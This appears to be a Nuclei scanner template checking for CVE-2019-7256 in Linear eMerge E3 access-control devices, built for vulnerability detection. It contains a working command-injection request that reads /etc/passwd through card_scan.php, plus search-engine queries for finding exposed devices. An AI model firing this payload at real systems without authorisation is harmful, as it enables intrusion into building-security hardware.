id: CVE-2019-7256

info:
  name: eMerge E3 1.00-06 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Linear eMerge E3-Series devices are susceptible to remote code execution vulnerabilities.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patch or update to a non-vulnerable version of eMerge E3.
  reference:
    - https://www.exploit-db.com/exploits/47619
    - http://linear-solutions.com/nsc_family/e3-series/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7256
    - https://applied-risk.com/labs/advisories
    - https://www.applied-risk.com/resources/ar-2019-005
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-7256
    cwe-id: CWE-78
    epss-score: 0.94403
    epss-percentile: 0.99977
    cpe: cpe:2.3:o:nortekcontrol:linear_emerge_essential_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: nortekcontrol
    product: linear_emerge_essential_firmware
    shodan-query:
      - title:"eMerge"
      - http.title:"emerge"
    fofa-query: title="emerge"
    google-query: intitle:"emerge"
  tags: cve,cve2019,emerge,rce,edb,nortekcontrol,kev,vkev,vuln
variables:
  file: "{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20{{file}}.txt%60 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009815c43bfed1a2fe8573394707f591111232b5430cd06c40c065f1d5b146cb3d022100e401af526c4770634245c618af55d9daece15165351c6a099bb888837504b419:922c64590222798bb761d5b6d8e72950